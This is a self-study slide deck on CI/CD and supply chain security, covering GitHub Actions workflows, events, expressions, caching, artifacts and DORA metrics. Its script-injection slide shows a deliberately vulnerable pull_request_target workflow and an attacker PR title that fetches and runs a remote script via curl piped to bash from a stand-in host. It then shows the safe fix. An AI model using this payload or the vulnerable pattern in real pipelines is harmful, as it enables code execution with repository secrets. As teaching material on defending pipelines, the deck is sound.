Self-study deck · GitHub Actions · OIDC to AWS · SBOM · Sigstore · SLSA

CI/CD &
Supply Chain Security

Build pipelines that are fast, keyless and hard to tamper with: GitHub Actions in depth, OIDC to AWS, container builds on ECR, quality gates, release strategies, and a supply chain you can prove — SBOMs, signatures, provenance and admission checks — with a lab for every chapter.

Use ← → / Space to navigate · I contents · O overview · T theme · F fullscreen

CI/CD & Supply Chain Security

Contents

Click any line to jump there · press I to return to this page

Chapter 0

Orientation

What CI/CD protects, the pipeline this deck builds, the versions it covers, and how to study it.

Mental model

CI makes a trustworthy artifact; CD moves it; the supply chain is everything in between

Every step that can change the artifact on its way to production is part of the supply chain, and every step can be attacked.

CI — produce one artifact

  • Triggered by a commit or a pull request in the app repo.
  • Lint, test, build, scan.
  • Publish an immutable artifact: image …/cicd-lab/hello@sha256:….
  • Output: a version and evidence (test results, SBOM, provenance), not a deployment.

CD — move it through environments

  • The same artifact goes dev → staging → prod (build once, deploy many).
  • Configuration differs per environment; the artifact does not.
  • In this learning path the cluster side is GitOps: CI opens a promotion PR, Argo CD deploys (GitOps deck ch 9).

Supply chain — who could change it?

  • Source: commits, reviews, branch rules.
  • Dependencies: packages, base images, third-party actions.
  • Build: runners, caches, credentials.
  • Distribution and deploy: registry, tags, admission.
Mental model

The pipeline is a production system

A CI system holds credentials to your cloud, your registry and your source. Attackers know it.

What a pipeline can reach

  • Cloud roles (deploy, push images, read secrets).
  • Registry write access: whoever can push can replace what runs.
  • Source write access through tokens: change code, tags, releases.
  • Internal networks, if it runs on self-hosted runners.

Why it is attractive

  • One compromised action or package reaches thousands of repos.
  • Secrets are often long-lived and broad.
  • Logs and artifacts are often public on open-source repos.
  • Builds run code from pull requests and dependencies by design.

So treat it like production

  • Least privilege and short-lived credentials (ch 4).
  • Pinned, reviewed dependencies, including actions (ch 9).
  • Evidence you can verify later: SBOM, signatures, provenance (ch 10–11).
  • Checks at deploy time, not only at build time (ch 12).
Deck map

The path of one change, chapter by chapter

Read left to right. Each box is where this deck spends its time; the right edge hands over to the GitOps deck.

Commit + PRrules, review (ch 3, 6)BuildActions, runners (ch 2, 5)Test + gatesSAST, deps (ch 6)PublishECR via OIDC (ch 4, 5)Sign + attestSBOM, provenance (ch 10, 11)Verify + deployadmission (ch 12)Threats along the way (ch 8) and controls (ch 9)Poisoned PRpwn request, injectionBad dependencytyposquat, wormHijacked actionmoved tagStolen tokenlong-lived secretControls: SHA pinning, least-privilege tokens, OIDC, ephemeral runners, linters, egress limits.Release (ch 7) and operations (ch 13)Promotion PRGitOps deck ch 9DORA metricsfive keys (ch 1, 13)Incident response for CI/CD lives in ch 13.

Scope boundary: the deck ends with a signed, attested artifact in a registry and a promotion PR. Argo CD and Argo Rollouts are in the GitOps deck.

Versions covered

What this deck assumes (checked Nov 2026)

These move fast. When a slide and the official docs disagree, the docs win.

GitHub Actions

  • Allowed-actions policy can require full-length SHA pinning and block actions (! prefix) at enterprise, org and repo level (Aug 2025).
  • Immutable OIDC subject claims repo:OWNER@ID/REPO@ID:… (Apr 2026); default for new, renamed or transferred repos since 15 Jul 2026.
  • Artifact attestations for build provenance and SBOMs.
  • 2026 roadmap items (dependency locking, ruleset blocks for pull_request_target) are treated as planned unless the changelog says shipped.

Supply chain standards and tools

  • SLSA v1.2 (approved): Build track L1–L3 unchanged since v1.0; Source track added.
  • cosign v3 (3.1.4, Oct 2026): Sigstore bundle format by default.
  • Kyverno: ImageValidatingPolicy replaces the legacy verifyImages rule (deprecated in 1.19, removal planned in 1.20).
  • SBOM formats: SPDX and CycloneDX.

AWS

  • Amazon ECR managed signing with AWS Signer (Nov 2025): up to 10 rules per registry, signs with the pusher's identity.
  • Notation + AWS Signer plugin for manual signing and verification.
  • Amazon Inspector enhanced scanning for ECR (on push and continuous).
  • OIDC federation from GitHub to IAM roles: no access keys in CI.

Version numbers in examples are illustrative; pin the SHA of the current release (for example checkout v7.0.1, setup-go v7.0.0 in Nov 2026).

Case studies

The incidents this deck keeps coming back to

Each one broke a different link of the chain. Chapter 8 dissects them; later chapters show the control that stops each.

IncidentYearLink that brokeMain lesson
Codecov uploader2021A tampered script downloaded by CIVerify what you download; scope CI secrets
xz utils backdoor2024A malicious maintainer inside an upstream projectTrust is not a control; review and provenance matter
tj-actions/changed-files (CVE-2025-30066)Mar 2025Action tags repointed to a commit that dumped secrets into logsPin actions by SHA; least-privilege tokens
Shai-Hulud npm wormSep 2025Stolen npm tokens; self-replicating packagesShort-lived publish credentials; dependency cooldowns
Shai-Hulud 2.0Nov 2025Same idea, larger; also planted workflowsProtect .github/workflows/; watch for new workflows
Lab environment

What you need before Lab 0

Most labs are free: public GitHub repo minutes, a laptop and kind. Only labs 4, 5 and (optionally) 11 touch AWS.

Accounts

  • GitHub account; public repo <you>/cicd-lab (free standard runner minutes on public repos).
  • AWS sandbox account with a budget alarm; region ap-northeast-1.
  • Your GitOps config repo gitops-lab from the GitOps deck (for promotion PRs).

Local tools

  • Git, Docker (with Buildx), gh CLI, kind, kubectl, helm.
  • Supply chain: cosign, syft, grype, trivy.
  • Workflow linters: actionlint, zizmor.
  • AWS CLI v2.
# the demo app used everywhere
cicd-lab/
├── main.go     # service "hello"
├── main_test.go
├── go.mod
├── Dockerfile  # ch 5
└── .github/workflows/
    ├── ci.yml  # ch 2
    └── release.yml

# AWS names used in examples
region:   ap-northeast-1
ECR repo: cicd-lab/hello
IAM role: gha-cicd-lab
envs:     dev, prod
kind:     cluster "cicd"
How to use this deck

A study loop that sticks

Read a part, run its lab, then answer the self-check out loud without notes.

Per part

  • Read the concept slides; redraw the diagrams from memory.
  • Copy the YAML into your lab repo and run it, not just read it.
  • Study the "Common mistakes" slide: these are the incidents of tomorrow.

Per chapter

  • Do the matching lab in the Hands-on labs part.
  • Do every "Break it" step and explain the symptom before you fix it.
  • Answer the self-check questions; revisit what you hesitate on.

Navigation

  • ← → or Space to move, I for Contents, O for overview.
  • T toggles the theme, F fullscreen.
  • Every Contents line is a link.
  • Chapter numbers in "(ch N)" point inside this deck; "GitOps deck ch N" points to the GitOps deck.

Order matters: identity (ch 4) before publishing (ch 5); threats (ch 8) before hardening (ch 9); signing (ch 11) before verification (ch 12).

Chapter 1

CI/CD foundations

Delivery principles, the anatomy of a pipeline, and how to measure delivery with the five DORA metrics.

Chapter 1 · Part 1.1

Delivery principles

Integration, delivery and deployment; one artifact for every environment; small batches on trunk.

Definitions

Continuous integration, delivery and deployment

Three practices that build on each other. The difference is where a human decides.

Continuous integration

  • Everyone merges to the main branch at least daily.
  • Every merge is built and tested automatically.
  • A red main branch is fixed first, before new work.
  • Output: a tested build of every commit.

Continuous delivery

  • Every commit that passes CI could go to production.
  • Release is a business decision: a button or a merged PR.
  • Artifacts, config and infra are versioned and repeatable.
  • Output: a releasable artifact at any time.

Continuous deployment

  • Every passing commit does go to production, no human gate.
  • Needs strong tests, progressive rollout and fast rollback.
  • Usually combined with feature flags to decouple deploy from release.
  • Output: production changes many times a day.

Most teams practice continuous delivery with an approval for production; GitOps makes that approval a merged pull request.

Build once, deploy many

One immutable artifact, promoted between environments

If dev and prod run different builds, your tests in dev prove nothing about prod.

Commit a1b2c3dmain branchCI buildtest · scan · signRegistryhello@sha256:9f3e…devvalues: devstagingvalues: stagingprodvalues: prodSame digestin every envConfig differs per environment; the artifact never does.

Do

  • Build once per commit; identify the artifact by digest.
  • Inject environment config at deploy time (values, env vars, secrets).
  • Promote by moving the digest to the next environment.

Do not

  • Rebuild for prod "with prod settings".
  • Bake secrets or endpoints into the image.
  • Deploy a tag that can be overwritten (latest, main).
Branching

Trunk-based development vs long-lived branches

Integration pain grows with the time branches live apart. Trunk-based development keeps that time short.

Trunk-based

  • Short-lived branches (hours to a day or two), merged to main behind PR checks.
  • Unfinished features hidden behind feature flags.
  • Releases cut from main (tags) or deployed continuously.
  • Hotfixes go to main first, then out.

Long-lived branches (GitFlow-style)

  • develop, release/*, hotfix/* branches.
  • Large merges late in the cycle; conflicts and surprise bugs.
  • Fits shipped software with several supported versions.
  • Slows feedback for a web service with one live version.

Release branches still have a place

  • Supporting old major versions (libraries, on-prem products).
  • Cherry-pick fixes from main into release/1.x.
  • Keep them few and short-lived for services.
Feature flags

Deploy is not release

Flags let code reach production switched off, then turn on for a slice of users.

Kinds of flags

  • Release flags: hide unfinished work; remove after launch.
  • Experiment flags: A/B tests; remove after the decision.
  • Ops flags: kill switches, degrade gracefully; long-lived.
  • Permission flags: features per plan or tenant.

Practices

  • Default off; evaluate server-side for security-relevant features.
  • Give every flag an owner and an expiry date.
  • Test both paths in CI.
  • Use a flag service or OpenFeature SDK rather than ad-hoc env vars.

Risks

  • Flag debt: hundreds of stale flags make code unreadable.
  • Combinations nobody tested.
  • A flag flip is a production change: audit it like a deploy.
Principles

Small batches, fast feedback, everything as code

The habits that make the rest of this deck work.

PrincipleWhat it means in practiceSmell when missing
Small batchesPRs that change one thing; many deploys a dayRelease trains with 200 commits
Fast feedbackPR checks in minutes; main green within the hourDevelopers stop waiting and merge anyway
Everything as codePipelines, infra, policies and config in Git, reviewedSettings changed by clicking in a UI
Immutable artifactsDigest-pinned images, no rebuild per environment"Works in staging" but not in prod
Automate the boringReleases, changelogs, dependency updatesOne person knows how to release
Stop the lineA broken main blocks merges until fixedMain red for days; tests ignored
Chapter 1 · Part 1.2

Pipeline anatomy

Stages and their order, fast feedback, and how artifacts are identified.

Stages

A complete pipeline, stage by stage

Not every repo needs every stage. The order is chosen so cheap checks fail first.

PR checks

  • Lint and format.
  • Unit tests.
  • SAST, dependency review.
  • Build (no push).
→

Main build

  • Build image once.
  • Integration tests.
  • Scan image.
  • Push by digest.
→

Evidence

  • SBOM.
  • Signature.
  • Build provenance.
  • Test reports.
→

Release

  • Promotion PR to dev.
  • Smoke tests.
  • Approval for prod.
  • Verify at admission.

Chapters map: PR checks (ch 6), build and publish (ch 5), evidence (ch 10–11), release (ch 7), verification (ch 12).

Fast feedback

Order by cost, fail fast, run in parallel

A developer waits for the slowest required check. Design for that number.

Ordering

  • Seconds: lint, format, go vet, actionlint.
  • Minutes: unit tests, SAST, build.
  • Longer: integration and end-to-end, image scans.
  • Put the slow ones after a cheap gate, or in parallel jobs.

Parallelism

  • Independent jobs run at the same time (needs: only where data flows).
  • Matrix for versions and platforms.
  • Shard large test suites.
  • Cancel superseded runs with concurrency (ch 2).

Targets that work

  • PR checks under ~10 minutes.
  • Main pipeline to a deployable artifact under ~30 minutes.
  • Track p50 and p95 duration, not averages (ch 13).
  • Cache dependencies and layers (ch 2, 5).
Artifact identity

Digests, Git SHA tags and SemVer

A tag is a pointer that can move. A digest is the content itself.

IdentifierExampleMutable?Use it for
Digesthello@sha256:9f3e…NoDeploying, signing, verifying
Git SHA taghello:a1b2c3dYes unless tag immutabilityTraceability to a commit
SemVer taghello:1.4.2Yes unless tag immutabilityHumans, release notes
Floating taghello:latest, hello:mainYes, by designNever in deployments

Rules

  • Tag every image with the full or short Git SHA; add SemVer on releases.
  • Turn on ECR tag immutability so a tag cannot be repointed (ch 5).
  • Deploy and sign by digest; tags are for humans.
  • Record the digest in the promotion PR so reviewers see exactly what ships.
Versioning

SemVer, commit SHAs and build metadata

Pick one scheme per artifact type and automate it.

SemVer for released things

  • MAJOR.MINOR.PATCH: breaking, feature, fix.
  • Libraries, charts, APIs, CLIs.
  • Pre-releases: 1.5.0-rc.1.
  • Automated from Conventional Commits (ch 7).

Commit-based for services

  • Every main commit is a candidate: hello:a1b2c3d.
  • Optionally a sortable form: 2026.11.02-a1b2c3d.
  • Releases are promotions, not new builds.
# compute tags in a workflow step
SHA_SHORT=${GITHUB_SHA::7}
echo "tags=$ECR/cicd-lab/hello:$SHA_SHORT" \
  >> "$GITHUB_OUTPUT"

# on a release tag v1.4.2 also tag 1.4.2
if [[ "$GITHUB_REF" == refs/tags/v* ]]; then
  echo "semver=${GITHUB_REF_NAME#v}" \
    >> "$GITHUB_OUTPUT"
fi
Environments

Environments and what differs between them

Environments differ in config, data and access, never in the artifact.

devstagingprod
ArtifactSame digestSame digestSame digest
Deploy triggerAutomatic on mainAutomatic or PRApproved PR or environment approval
DataSyntheticAnonymized copy or syntheticReal
CredentialsDev role via OIDCStaging roleProd role, environment-scoped (ch 4)
Who can change itTeamTeam + checksReviewers, protected branch/environment
Ephemeral variantPreview env per PR (ch 6)——
Chapter 1 · Part 1.3

Measuring delivery

The five DORA metrics, how to compute them, and the anti-patterns they expose.

DORA

The five DORA software delivery metrics

DORA groups them into throughput and instability. Measure all five together; optimizing one alone backfires.

Throughput

MetricQuestion it answers
Change lead timeHow long from commit to running in production?
Deployment frequencyHow often do we deploy to production?
Failed deployment recovery timeHow long to recover when a deployment fails?

Instability

MetricQuestion it answers
Change fail rateWhat share of deployments need immediate intervention (rollback, hotfix)?
Deployment rework rateWhat share of deployments are unplanned, done to fix a user-facing problem?

Older material lists four keys and "MTTR". Current DORA guidance uses these five names; "failed deployment recovery time" replaced MTTR.

DORA

Computing the metrics from data you already have

You need three event streams: commits, deployments and deployment failures.

Sources

  • Commits and merge times: Git / GitHub API.
  • Deployments: GitHub deployments API, Argo CD sync history, or your CD tool.
  • Failures: incidents, rollbacks, reverts, hotfix deploys labelled as such.
  • Join by commit SHA or image digest.

Definitions to agree on

  • Lead time starts at commit (or first commit of the PR) and ends at prod deploy.
  • "Failed deployment" = needed rollback, hotfix or fix-forward.
  • "Rework" = unplanned deployment to fix a user-facing problem.
  • Recovery ends when service is restored, not when the root cause is fixed.
# rough deployment frequency from GitHub
gh api repos/<you>/cicd-lab/deployments \
  --paginate -q \
  '.[] | select(.environment=="prod")
       | .created_at' | cut -c1-10 \
  | sort | uniq -c

# lead time for one commit
git log -1 --format=%cI a1b2c3d   # commit
# deploy time: from the deployment record

Use the metrics to find bottlenecks for a team, not to rank people. Lab 13 computes all five for your lab repo.

DORA

What moves each metric

The levers are the practices in this deck.

MetricLevers that improve itDeck chapters
Change lead timeSmall PRs, fast checks, automated release and promotion1, 2, 6, 7
Deployment frequencyTrunk-based development, continuous delivery, cheap rollouts1, 7
Failed deployment recovery timeProgressive delivery, one-click rollback (git revert), good alerts7, GitOps deck 11
Change fail rateTests and gates that catch real failures, canaries, feature flags6, 7
Deployment rework rateQuality gates, staged rollouts, better review of risky changes6, 7, 12
Anti-patterns

Pipelines that look automated but are not

Each anti-pattern shows up in the metrics before anyone names it.

Snowflake build servers

  • A long-lived Jenkins VM nobody dares to update.
  • Tools installed by hand; builds differ by machine.
  • Fix: ephemeral runners, tools pinned in the workflow or image.

Manual steps

  • "Then SSH and run the migration".
  • Release checklist in a wiki.
  • Fix: every step is a job; approvals are environment rules.

Environment-specific builds

  • docker build --build-arg ENV=prod.
  • Different binaries per environment.
  • Fix: one build; config at deploy time.

Shared mutable test environments

  • One staging that every team breaks.
  • Tests fail because of someone else's deploy.
  • Fix: preview environments per PR; contract tests (ch 6).
Common mistakes

Foundations mistakes that cost the most later

Each one makes a later chapter harder or impossible.

MistakeConsequenceFix
Deploying latest or a branch tagCannot tell what runs; signatures and rollbacks become unreliableDeploy by digest; immutable tags
Rebuilding per environmentProd runs untested bitsBuild once, promote the digest
Secrets baked into imagesLeaks through registries and layersInject at runtime from a secret store
Long PR checks (30+ min)Big batches, skipped checksParallelize, cache, move slow tests after merge
Measuring only deployment frequencyTeams ship more broken changesTrack all five DORA metrics together
Release knowledge in one person's headBus factor of one; slow incidentsRelease automation and runbooks as code
Self-check

Foundations: can you answer these?

Explain each answer in your own words.

Principles

  • What separates continuous delivery from continuous deployment?
  • Why does rebuilding for prod invalidate your staging tests?
  • When is a long-lived release branch still justified?
  • Name the four kinds of feature flags and when each is removed.

Pipeline

  • In what order would you run lint, unit tests, image scan and integration tests, and why?
  • Why is a digest better than a tag for signing?
  • What does ECR tag immutability prevent?
  • What differs between dev and prod, and what must not?

Measuring

  • Name the five DORA metrics and their two groups.
  • What replaced "MTTR" in current DORA guidance?
  • What is the difference between change fail rate and rework rate?
  • Which three data streams do you need to compute them?

Practice: Lab 1 in Hands-on labs builds the first pipeline for cicd-lab and measures its duration.

Chapter 2

GitHub Actions deep dive

The workflow model and events, expressions and data flow, caching and artifacts, and the runners that execute it all.

Chapter 2 · Part 2.1

Workflow model

Workflows, jobs, steps and actions; dependencies, matrices and concurrency; the events that start them.

Building blocks

Workflow → job → step, executed on a runner

A workflow is a YAML file in .github/workflows/. Each job gets a fresh runner; steps in a job share its filesystem.

Workflow .github/workflows/ci.yml (on: pull_request, push)Job "lint" runs-on: ubuntu-24.04step: actions/checkoutuses: an actionstep: actions/setup-gouses: an actionstep: go vet ./...run: a shell commandJob "test" needs: lintcheckout + setup-gogo test ./...matrix: go 1.26, 1.27upload test reportartifactJob "build" needs: testdocker buildoutputs: digestanother runner = clean VM

Facts

  • Jobs run in parallel unless needs: orders them.
  • Each job runs on its own runner: share data with outputs, artifacts or caches.
  • Steps run in order; a failing step stops the job unless continue-on-error.

Limits worth knowing

  • Job timeout-minutes defaults to 360.
  • A matrix can create up to 256 jobs per workflow run.
  • Workflow files must live in .github/workflows/ on the triggering ref.
First workflow

ci.yml for the hello service

Every key here appears again later; read it top to bottom.

name: ci
on:
  pull_request:
  push:
    branches: [main]

permissions:
  contents: read            # least privilege (ch 4)

concurrency:
  group: ci-${{ github.ref }}
  cancel-in-progress: true  # new push cancels old run

jobs:
  test:
    runs-on: ubuntu-24.04
    timeout-minutes: 15
    steps:
      - uses: actions/checkout@<sha>       # v7.0.1
        with:
          persist-credentials: false       # ch 9
      - uses: actions/setup-go@<sha>       # v7.0.0
        with:
          go-version-file: go.mod
      - run: go vet ./...
      - run: go test -race ./...

Reading it

  • on: lists the events (next slides).
  • permissions: caps the GITHUB_TOKEN for every job.
  • concurrency: keeps one run per ref; older runs are cancelled.
  • runs-on: picks the runner by label (section 07).
  • uses: runs an action at a pinned commit; run: runs a shell command.
  • <sha> stands for a full 40-character commit SHA; chapter 9 explains why and how to keep it updated. Version numbers in examples are illustrative; pin the SHA of the current release (for example checkout v7.0.1, setup-go v7.0.0 in Nov 2026).
  • setup-go caches Go modules by default.
Jobs

Dependencies, conditions and job outputs

needs: creates the graph; outputs carry small values between jobs.

jobs:
  build:
    runs-on: ubuntu-24.04
    outputs:
      digest: ${{ steps.push.outputs.digest }}
    steps:
      - id: push
        run: |
          # ... build and push ...
          echo "digest=sha256:9f3e..." >> "$GITHUB_OUTPUT"

  sign:
    needs: build
    if: github.event_name == 'push' && github.ref == 'refs/heads/main'
    runs-on: ubuntu-24.04
    steps:
      - run: echo "signing ${{ needs.build.outputs.digest }}"

  notify:
    needs: [build, sign]
    if: failure()            # runs only when a needed job failed
    runs-on: ubuntu-24.04
    steps:
      - run: echo "pipeline failed" 

Rules

  • A job runs only if all needs: jobs succeeded, unless its if: uses a status function (always(), failure(), cancelled()).
  • Job-level if: is evaluated before a runner is assigned: cheap way to skip.
  • Outputs are strings; pass JSON with toJSON / fromJSON.
  • Outputs that look like secrets are masked and then dropped; do not pass secrets this way.
  • Large data (binaries, reports) goes through artifacts, not outputs.
Matrix

One job definition, many combinations

strategy.matrix expands a job into one job per combination.

jobs:
  test:
    strategy:
      fail-fast: false   # default true cancels the rest
      max-parallel: 4
      matrix:
        go: ['1.26', '1.27']
        os: [ubuntu-24.04, ubuntu-24.04-arm]
        include:
          - go: '1.27'
            os: ubuntu-24.04
            race: true        # extra key for one combination
        exclude:
          - go: '1.26'
            os: ubuntu-24.04-arm
    runs-on: ${{ matrix.os }}
    steps:
      - uses: actions/checkout@<sha>     # v7.0.1
      - uses: actions/setup-go@<sha>     # v7.0.0
        with: { go-version: '${{ matrix.go }}' }
      - run: >-
          go test
          ${{ matrix.race && '-race' || '' }} ./...

When to use it

  • Language or runtime versions you support.
  • Platforms: x86 and ARM, Linux and macOS.
  • Test sharding: shard: [1, 2, 3, 4].
  • Dynamic matrices: a first job outputs JSON, the next uses fromJSON(needs.plan.outputs.matrix).
  • Gotcha: fail-fast: true hides which combinations really fail; turn it off for test matrices.
  • Gotcha: required status checks name each matrix job; renaming a matrix value breaks branch protection.
  • Each combination is billed separately on private repos.
Control

Concurrency, timeouts, defaults and continue-on-error

Small keys that prevent large incidents.

KeyLevelWhat it doesTypical use
concurrency.groupworkflow / jobAt most one running and one pending run per groupOne deploy per environment at a time
cancel-in-progressworkflow / jobNew run cancels the running onePR checks; never for deploy jobs mid-apply
timeout-minutesjob / stepKill after N minutes (default 360 per job)Stop hung tests from burning minutes
defaults.run.shellworkflow / jobDefault shell and working directory for run:bash with -eo pipefail semantics
continue-on-errorjob / stepFailure does not fail the job/workflowExperimental matrix entries only
environment:jobBinds the job to an environment (rules, secrets)Deploy jobs (ch 4)

Deploy pattern: concurrency: { group: deploy-prod, cancel-in-progress: false } queues deploys instead of killing one half-way.

Events

The events that start workflows

Choosing the wrong event is the root of most Actions security bugs (ch 8).

EventRuns whenCode and contextSecrets?
pushCommits or tags pushedThe pushed commitYes
pull_requestPR opened, synchronized, reopened…The PR merge commit; fork PRs get a read-only tokenNot for fork PRs
pull_request_targetSame PR activityWorkflow from the base branch, base repo contextYes — dangerous with PR code
merge_groupA PR enters the merge queueThe temporary merge-queue commitYes
workflow_dispatchManual run (UI, gh workflow run, API)Chosen ref, typed inputsYes
workflow_callCalled by another workflow (ch 3)Caller's contextPassed explicitly or inherited
workflow_runAnother workflow requested/completedDefault branch, privilegedYes — treat artifacts as untrusted
scheduleCron, on the default branchLatest default-branch commitYes
Events

pull_request vs pull_request_target vs workflow_run

Three ways to react to a pull request with very different trust.

pull_request (default choice)

  • Runs the PR's version of the workflow.
  • From forks: no secrets, read-only GITHUB_TOKEN.
  • Safe for building and testing untrusted code.
  • Cannot comment on fork PRs with write access.

pull_request_target

  • Runs the base branch workflow with secrets and a write token.
  • Meant for labelling, commenting, triage — without checking out PR code.
  • Checking out and running PR head code here = "pwn request" (ch 8).
  • GitHub's 2026 roadmap plans ruleset controls to block it; check the changelog for status.

workflow_run

  • Starts after another workflow (e.g. after pull_request tests).
  • Runs privileged on the default branch.
  • Pattern: unprivileged job builds and uploads results → privileged workflow_run job comments.
  • Artifacts from the first run are attacker-controlled data: never execute them (ch 8).

Rule of thumb: untrusted code → pull_request; privileged action on PR metadata only → pull_request_target; the two never meet in one job.

Filters

Branch, tag and path filters — and the required-check trap

Filters decide whether a workflow runs at all.

on:
  push:
    branches: [main, 'release/**']
    tags: ['v*']
    paths:
      - 'cmd/**'
      - 'go.mod'
      - '.github/workflows/ci.yml'
  pull_request:
    paths-ignore: ['docs/**', '**.md']
  merge_group:            # needed if you use a merge queue
  workflow_dispatch:
    inputs:
      env:
        type: choice
        options: [dev, prod]
  schedule:
    - cron: '17 3 * * 1'  # Mondays 03:17 UTC

Behavior

  • branches and tags filters are combined with paths (all must match).
  • paths + paths-ignore cannot both be used for one event; use ! patterns instead.
  • Events created with GITHUB_TOKEN do not start new workflows (except workflow_dispatch and repository_dispatch): no recursive loops.
  • schedule runs only on the default branch; in public repos scheduled workflows are disabled after 60 days without repo activity.

Required-check trap: a workflow skipped by a path filter reports nothing, so a required check waits forever. Always run the workflow and skip jobs inside it (change detection, ch 3). A merge queue needs merge_group: on every required workflow.

Chapter 2 · Part 2.2

Expressions, contexts and data flow

What ${{ }} can read, how steps and jobs pass data, and the injection bug hiding in plain sight.

Contexts

The contexts available to expressions

Expressions ${{ … }} are evaluated by GitHub before the step runs; the result is pasted into the YAML.

ContextContainsExample
githubEvent payload, ref, SHA, actor, repositorygithub.sha, github.event.pull_request.number
envEnv vars set at workflow, job or step levelenv.REGISTRY
varsConfiguration variables (repo, env, org)vars.AWS_ACCOUNT_ID
secretsSecrets (repo, env, org) and GITHUB_TOKENsecrets.SLACK_WEBHOOK
needsOutputs and results of jobs this job needsneeds.build.outputs.digest
matrix / strategyCurrent matrix values and strategymatrix.os
stepsOutputs and outcome of earlier steps with an idsteps.push.outputs.digest
runnerOS, arch, temp and tool cache pathsrunner.arch
inputsInputs of workflow_dispatch / workflow_callinputs.env
Expressions

Operators, functions and status checks

Enough to write any if: you need.

Functions

  • contains(github.event.pull_request.labels.*.name, 'deploy')
  • startsWith(github.ref, 'refs/tags/v')
  • format('{0}:{1}', env.IMAGE, github.sha)
  • join(matrix.os, ', '), toJSON(github.event), fromJSON('[1,2]')
  • hashFiles('**/go.sum') — for cache keys (section 06).

Status functions

  • success() — default when if: has no status function.
  • always() — run even if earlier steps failed or the run was cancelled.
  • failure() — only if something earlier failed.
  • cancelled() — only if the run was cancelled.
  • Prefer !cancelled() over always() so cancelling still stops cleanup-unsafe steps.

Gotchas

  • In if: you may omit ${{ }}; everywhere else you need it.
  • Comparisons are loose: '1' == 1 is true; strings compare case-insensitively.
  • Missing properties evaluate to empty, not an error: typos fail silently.
  • env cannot be used in runs-on or job-level if in all cases; check the context availability table.
Data flow

GITHUB_OUTPUT, GITHUB_ENV and the step summary

Steps communicate through files that the runner reads after each step.

steps:
  - id: meta
    run: |
      echo "short=${GITHUB_SHA::7}" >> "$GITHUB_OUTPUT"
      echo "IMAGE=$ECR/cicd-lab/hello" >> "$GITHUB_ENV"

  - run: echo "tag $IMAGE:${{ steps.meta.outputs.short }}"

  # multi-line value: heredoc delimiter
  - run: |
      {
        echo 'notes<<EOF'
        git log -5 --oneline
        echo EOF
      } >> "$GITHUB_OUTPUT"

  # Markdown shown on the run page
  - run: echo "### $IMAGE@$DIGEST" >> "$GITHUB_STEP_SUMMARY"
  # hide a value derived at runtime from logs
  - run: echo "::add-mask::$TOKEN" 

What each file does

  • $GITHUB_OUTPUT: step outputs, read as steps.<id>.outputs.<name>.
  • $GITHUB_ENV: env vars for later steps in the same job (not the current one).
  • $GITHUB_PATH: prepend a directory to PATH for later steps.
  • $GITHUB_STEP_SUMMARY: Markdown summary on the run page.
  • The old ::set-output and ::set-env commands are deprecated or disabled.

Security: attacker-controlled text written to $GITHUB_ENV can set LD_PRELOAD or NODE_OPTIONS for later steps. Masking is best effort (encoded or split secrets leak). Logs of public repos are public.

Script injection

The bug: untrusted input pasted into a shell script

${{ }} is expanded before the shell runs, so the value becomes code. A PR title is attacker-controlled.

# VULNERABLE
on: pull_request_target
jobs:
  greet:
    runs-on: ubuntu-24.04
    steps:
      - run: echo "Thanks for: ${{ github.event.pull_request.title }}"

# PR title chosen by an attacker:
#   x"; curl -sSf https://evil.example/x.sh | bash; echo "
# becomes, after expansion:
#   echo "Thanks for: x"; curl ... | bash; echo ""
# ... running with secrets and a write token.
# SAFE: pass data through an environment variable
on: pull_request_target
jobs:
  greet:
    runs-on: ubuntu-24.04
    permissions:
      pull-requests: write
    steps:
      - env:
          TITLE: ${{ github.event.pull_request.title }}
        run: echo "Thanks for: $TITLE"
# the shell sees a variable, never code

# Same rule for actions/github-script:
#   pass as env, read process.env.TITLE

Untrusted fields include PR title and body, issue and comment bodies, branch names (github.head_ref), commit messages and author names. zizmor and actionlint flag these patterns (ch 9).

Configuration

env vs vars vs secrets

Three ways to give a workflow values, with different visibility.

env: in YAMLvars (configuration variables)secrets
Where definedThe workflow fileRepo / environment / org settingsRepo / environment / org settings
Visible in logsYesYesMasked
Changed byA commit (reviewed)Admins in settingsAdmins in settings
Available to fork PRsYesYesNo (pull_request)
Good forConstants for this workflowAccount IDs, region, role ARNsWebhook URLs, third-party tokens
Better alternative——OIDC to AWS and AWS Secrets Manager (ch 4)

Precedence for env: step > job > workflow. Environment-level vars and secrets override repo-level ones for jobs bound to that environment.

Chapter 2 · Part 2.3

Speed: caching and artifacts

Cache keys, built-in caches, Docker layers, and when to use an artifact instead.

actions/cache

How cache keys and restore keys work

A cache is a tarball saved under a key. An exact key hit restores it; otherwise restore keys find the closest older one.

- uses: actions/cache@<sha>        # v4
  with:
    path: |
      ~/.cache/go-build
      ~/go/pkg/mod
    key: go-${{ runner.os }}-${{ hashFiles('**/go.sum') }}
    restore-keys: |
      go-${{ runner.os }}-

# 1st run:  no hit  -> job runs cold, cache saved under key K1
# go.sum unchanged -> exact hit on K1, nothing saved
# go.sum changed   -> prefix hit on K1 (partial),
#                     new key K2 saved

Rules

  • Key = what invalidates the cache (lockfile hash, OS, arch, tool version).
  • Restore keys give a warm start when the exact key misses.
  • A cache entry is immutable: an exact hit is never re-saved.
  • Entries not accessed for 7 days are evicted; a repo has a size limit (10 GB by default).
  • Use actions/cache/restore + actions/cache/save to save only on main.

Scope is a security boundary: a run reads caches from its own branch, the PR base branch and the default branch; PR branches cannot write into main's cache. A main workflow that caches attacker-influenced content poisons later runs (ch 8).

Built-in caches

setup-* caches and Docker layer caching

Usually you do not need actions/cache directly.

Language setup actions

  • actions/setup-go: Go module and build cache, on by default.
  • actions/setup-node with cache: npm (or pnpm, yarn).
  • actions/setup-python with cache: pip.
  • actions/setup-java with cache: gradle / maven.
  • They compute keys from lockfiles for you.

Docker layers (ch 5)

  • Buildx cache-from / cache-to with type=gha uses the Actions cache.
  • type=registry stores cache in ECR next to the image; shared across repos and runners.
  • mode=max caches intermediate stages too (bigger, more hits).
  • Order Dockerfile steps from least to most frequently changed.

Measure

  • Compare cold vs warm run time (Lab 2).
  • Watch the "Cache restored from key" log line and hit/miss.
  • A cache bigger than the work it saves is a net loss: downloading 2 GB to save 30 s.
Artifacts

Artifacts vs caches

Caches speed up future runs. Artifacts hand results to people and to later jobs.

CacheArtifact
PurposeSpeed (dependencies, layers)Outputs (binaries, reports, SBOMs)
LifetimeEvicted after 7 days unusedRetention days (default 90, configurable)
Reused across runsYesNo by default (same run; API for others)
Downloadable from the UINoYes
MutableNo (exact key)No (v4: one upload per name per run)
- uses: actions/upload-artifact@<sha>    # v4
  with:
    name: test-report-${{ matrix.go }}
    path: report.xml
    retention-days: 7
    if-no-files-found: error

